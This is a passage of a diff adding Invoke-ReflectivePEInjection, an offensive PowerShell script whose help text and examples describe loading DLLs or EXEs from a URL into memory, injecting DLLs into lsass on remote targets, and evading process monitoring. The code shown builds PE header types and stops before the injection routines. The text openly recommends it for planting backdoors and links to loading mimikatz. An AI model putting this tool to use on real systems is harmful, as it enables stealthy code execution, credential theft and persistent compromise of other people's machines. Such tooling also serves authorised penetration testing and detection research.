+ .PARAMETER PEBytes
53
+
54
+ A byte array containing a DLL/EXE to load and execute.
55
+
56
+ .PARAMETER ComputerName
57
+
58
+ Optional, an array of computernames to run the script on.
59
+
60
+ .PARAMETER FuncReturnType
61
+
62
+ Optional, the return type of the function being called in the DLL. Default: Void
63
+ Options: String, WString, Void. See notes for more information.
64
+ IMPORTANT: For DLLs being loaded remotely, only Void is supported.
65
+
66
+ .PARAMETER ExeArgs
67
+
68
+ Optional, arguments to pass to the executable being reflectively loaded.
69
+
70
+ .PARAMETER ProcName
71
+
72
+ Optional, the name of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this.
73
+
74
+ .PARAMETER ProcId
75
+
76
+ Optional, the process ID of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this.
77
+
78
+ .PARAMETER ForceASLR
79
+
80
+ Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR. Some PE's will work with ASLR even
81
+ if the compiler flags don't indicate they support it. Other PE's will simply crash. Make sure to test this prior to using. Has no effect when
82
+ loading in to a remote process.
83
+
84
+ .EXAMPLE
85
+
86
+ Load DemoDLL from a URL and run the exported function WStringFunc on the current system, print the wchar_t* returned by WStringFunc().
87
+ Note that the file name on the website can be any file extension.
88
+ Invoke-ReflectivePEInjection -PEUrl http://yoursite.com/DemoDLL.dll -FuncReturnType WString
89
+
90
+ .EXAMPLE
91
+
92
+ Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc().
93
+ Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName Target.local
94
+
95
+ .EXAMPLE
96
+
97
+ Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print
98
+ the wchar_t* returned by WStringFunc() from all the computers.
99
+ Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName (Get-Content targetlist.txt)
100
+
101
+ .EXAMPLE
102
+
103
+ Load DemoEXE and run it locally.
104
+ Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4"
105
+
106
+ .EXAMPLE
107
+
108
+ Load DemoEXE and run it locally. Forces ASLR on for the EXE.
109
+ Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR
110
+
111
+ .EXAMPLE
112
+
113
+ Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer.
114
+ Invoke-ReflectivePEInjection -PEPath DemoDLL_RemoteProcess.dll -ProcName lsass -ComputerName Target.Local
115
+
116
+ .EXAMPLE
117
+
118
+ Load a PE from a byte array.
119
+ Invoke-ReflectivePEInjection -PEPath (Get-Content c:\DemoEXE.exe -Encoding Byte) -ExeArgs "Arg1 Arg2 Arg3 Arg4"
120
+
121
+ .NOTES
122
+ GENERAL NOTES:
123
+ The script has 3 basic sets of functionality:
124
+ 1.) Reflectively load a DLL in to the PowerShell process
125
+ -Can return DLL output to user when run remotely or locally.
126
+ -Cleans up memory in the PS process once the DLL finishes executing.
127
+ -Great for running pentest tools on remote computers without triggering process monitoring alerts.
128
+ -By default, takes 3 function names, see below (DLL LOADING NOTES) for more info.
129
+ 2.) Reflectively load an EXE in to the PowerShell process.
130
+ -Can NOT return EXE output to user when run remotely. If remote output is needed, you must use a DLL. CAN return EXE output if run locally.
131
+ -Cleans up memory in the PS process once the DLL finishes executing.
132
+ -Great for running existing pentest tools which are EXE's without triggering process monitoring alerts.
133
+ 3.) Reflectively inject a DLL in to a remote process.
134
+ -Can NOT return DLL output to the user when run remotely OR locally.
135
+ -Does NOT clean up memory in the remote process if/when DLL finishes execution.
136
+ -Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory.
137
+ -Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded.
138
+
139
+
140
+
141
+ DLL LOADING NOTES:
142
+
143
+ PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output.
144
+ If you need to get back the output from the PE file you are loading on remote computers, you must compile the PE file as a DLL, and have the DLL
145
+ return a char* or wchar_t*, which PowerShell can take and read the output from. Anything output from stdout which is run using powershell
146
+ remoting will not be returned to you. If you just run the PowerShell script locally, you WILL be able to see the stdout output from
147
+ applications because it will just appear in the console window. The limitation only applies when using PowerShell remoting.
148
+
149
+ For DLL Loading:
150
+ Once this script loads the DLL, it calls a function in the DLL. There is a section near the bottom labeled "YOUR CODE GOES HERE"
151
+ I recommend your DLL take no parameters. I have prewritten code to handle functions which take no parameters are return
152
+ the following types: char*, wchar_t*, and void. If the function returns char* or wchar_t* the script will output the
153
+ returned data. The FuncReturnType parameter can be used to specify which return type to use. The mapping is as follows:
154
+ wchar_t* : FuncReturnType = WString
155
+ char* : FuncReturnType = String
156
+ void : Default, don't supply a FuncReturnType
157
+
158
+ For the whcar_t* and char_t* options to work, you must allocate the string to the heap. Don't simply convert a string
159
+ using string.c_str() because it will be allocaed on the stack and be destroyed when the DLL returns.
160
+
161
+ The function name expected in the DLL for the prewritten FuncReturnType's is as follows:
162
+ WString : WStringFunc
163
+ String : StringFunc
164
+ Void : VoidFunc
165
+
166
+ These function names ARE case sensitive. To create an exported DLL function for the wstring type, the function would
167
+ be declared as follows:
168
+ extern "C" __declspec( dllexport ) wchar_t* WStringFunc()
169
+
170
+
171
+ If you want to use a DLL which returns a different data type, or which takes parameters, you will need to modify
172
+ this script to accomodate this. You can find the code to modify in the section labeled "YOUR CODE GOES HERE".
173
+
174
+ Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection
175
+
176
+ .LINK
177
+
178
+ Blog: http://clymb3r.wordpress.com/
179
+ Github repo: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection
180
+
181
+ Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
182
+ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/
183
+ Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/
184
+
185
+ #>
186
+
187
+ [CmdletBinding(DefaultParameterSetName="WebFile")]
188
+ Param(
189
+ [Parameter(ParameterSetName = "LocalFile", Position = 0, Mandatory = $true)]
190
+ [String]
191
+ $PEPath,
192
+
193
+ [Parameter(ParameterSetName = "Bytes", Position = 0, Mandatory = $true)]
194
+ [ValidateNotNullOrEmpty()]
195
+ [Byte[]]
196
+ $PEBytes,
197
+
198
+ [Parameter(Position = 1)]
199
+ [String[]]
200
+ $ComputerName,
201
+
202
+ [Parameter(Position = 2)]
203
+ [ValidateSet( 'WString', 'String', 'Void' )]
204
+ [String]
205
+ $FuncReturnType = 'Void',
206
+
207
+ [Parameter(Position = 3)]
208
+ [String]
209
+ $ExeArgs,
210
+
211
+ [Parameter(Position = 4)]
212
+ [Int32]
213
+ $ProcId,
214
+
215
+ [Parameter(Position = 5)]
216
+ [String]
217
+ $ProcName,
218
+
219
+ [Parameter(Position = 6)]
220
+ [Switch]
221
+ $ForceASLR,
222
+
223
+ [Parameter(Position = 7)]
224
+ $Credential
225
+ )
226
+
227
+ Set-StrictMode -Version 2
228
+
229
+
230
+ $RemoteScriptBlock = {
231
+ [CmdletBinding()]
232
+ Param(
233
+ [Parameter(Position = 0, Mandatory = $true)]
234
+ [Byte[]]
235
+ $PEBytes,
236
+
237
+ [Parameter(Position = 1, Mandatory = $true)]
238
+ [String]
239
+ $FuncReturnType,
240
+
241
+ [Parameter(Position = 2, Mandatory = $true)]
242
+ [Int32]
243
+ $ProcId,
244
+
245
+ [Parameter(Position = 3, Mandatory = $true)]
246
+ [String]
247
+ $ProcName,
248
+
249
+ [Parameter(Position = 4, Mandatory = $true)]
250
+ [Bool]
251
+ $ForceASLR
252
+ )
253
+
254
+ ###################################
255
+ ########## Win32 Stuff ##########
256
+ ###################################
257
+ Function Get-Win32Types
258
+ {
259
+ $Win32Types = New-Object System.Object
260
+
261
+ #Define all the structures/enums that will be used
262
+ # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html
263
+ $Domain = [AppDomain]::CurrentDomain
264
+ $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
265
+ $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
266
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
267
+ $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
268
+
269
+
270
+ ############ ENUM ############
271
+ #Enum MachineType
272
+ $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16])
273
+ $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null
274
+ $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null
275
+ $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null
276
+ $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null
277
+ $MachineType = $TypeBuilder.CreateType()
278
+ $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType
279
+
280
+ #Enum MagicType
281
+ $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16])
282
+ $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null
283
+ $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null
284
+ $MagicType = $TypeBuilder.CreateType()
285
+ $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType
286
+
287
+ #Enum SubSystemType
288
+ $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16])
289
+ $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null
290
+ $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null
291
+ $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null
292
+ $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null
293
+ $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null
294
+ $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null
295
+ $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null
296
+ $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null
297
+ $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null
298
+ $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null
299
+ $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null
300
+ $SubSystemType = $TypeBuilder.CreateType()
301
+ $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType
302
+
303
+ #Enum DllCharacteristicsType
304
+ $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16])
305
+ $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null
306
+ $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null
307
+ $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null
308
+ $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null
309
+ $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null
310
+ $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null
311
+ $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null
312
+ $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null
313
+ $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null
314
+ $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null
315
+ $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null
316
+ $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null
317
+ $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null
318
+ $DllCharacteristicsType = $TypeBuilder.CreateType()
319
+ $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType
320
+
321
+ ########### STRUCT ###########
322
+ #Struct IMAGE_DATA_DIRECTORY
323
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
324
+ $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8)
325
+ ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null
326
+ ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null
327
+ $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType()
328
+ $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY
329
+
330
+ #Struct IMAGE_FILE_HEADER
331
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
332
+ $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20)
333
+ $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null
334
+ $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null
335
+ $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
336
+ $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null
337
+ $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null
338
+ $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null
339
+ $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null
340
+ $IMAGE_FILE_HEADER = $TypeBuilder.CreateType()
341
+ $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER
342
+
343
+ #Struct IMAGE_OPTIONAL_HEADER64
344
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
345
+ $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240)
346
+ ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
347
+ ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
348
+ ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
349
+ ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
350
+ ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
351
+ ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
352
+ ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
353
+ ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
354
+ ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null
355
+ ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
356
+ ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
357
+ ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
358
+ ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
359
+ ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
360
+ ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
361
+ ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
362
+ ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
363
+ ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
364
+ ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
365
+ ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
366
+ ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
367
+ ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
368
+ ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
369
+ ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null
370
+ ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null
371
+ ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null
372
+ ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null
373
+ ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null
374
+ ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null
375
+ ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
376
+ ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
377
+ ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
378
+ ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
379
+ ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
380
+ ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
381
+ ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
382
+ ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
383
+ ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
384
+ ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
385
+ ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
386
+ ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
387
+ ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
388
+ ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
389
+ ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null
390
+ ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null
391
+ $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType()
392
+ $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64
393
+
394
+ #Struct IMAGE_OPTIONAL_HEADER32
395
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
396
+ $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224)
397
+ ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
398
+ ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
399
+ ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
400
+ ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
401
+ ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
402
+ ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
403
+ ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
404
+ ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
405
+ ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null
406
+ ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null
407
+ ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
408
+ ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
409
+ ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
410
+ ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
411
+ ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
412
+ ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
413
+ ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
414
+ ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
415
+ ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
416
+ ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
417
+ ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
418
+ ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
419
+ ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
420
+ ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
421
+ ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null
422
+ ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null
423
+ ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null
424
+ ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null
425
+ ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null
426
+ ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null
427
+ ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null
428
+ ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null
429
+ ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
430
+ ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
431
+ ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
432
+ ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
433
+ ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
434
+ ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
435
+ ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
436
+ ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
437
+ ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
438
+ ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
439
+ ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
440
+ ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
441
+ ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
442
+ ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
443
+ $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType()
444
+ $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32
445
+
446
+ #Struct IMAGE_NT_HEADERS64
447
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
448
+ $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264)
449
+ $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
450
+ $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
451
+ $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null
452
+ $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType()
453
+ $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64
454
+
455
+ #Struct IMAGE_NT_HEADERS32
456
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
457
+ $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248)
458
+ $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
459
+ $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
460
+ $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null
461
+ $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType()
462
+ $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32
463
+
464
+ #Struct IMAGE_DOS_HEADER
465
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
466
+ $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64)
467
+ $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null
468
+ $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null
469
+ $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null
470
+ $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null
471
+ $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null
472
+ $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null
473
+ $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null
474
+ $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null
475
+ $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null
476
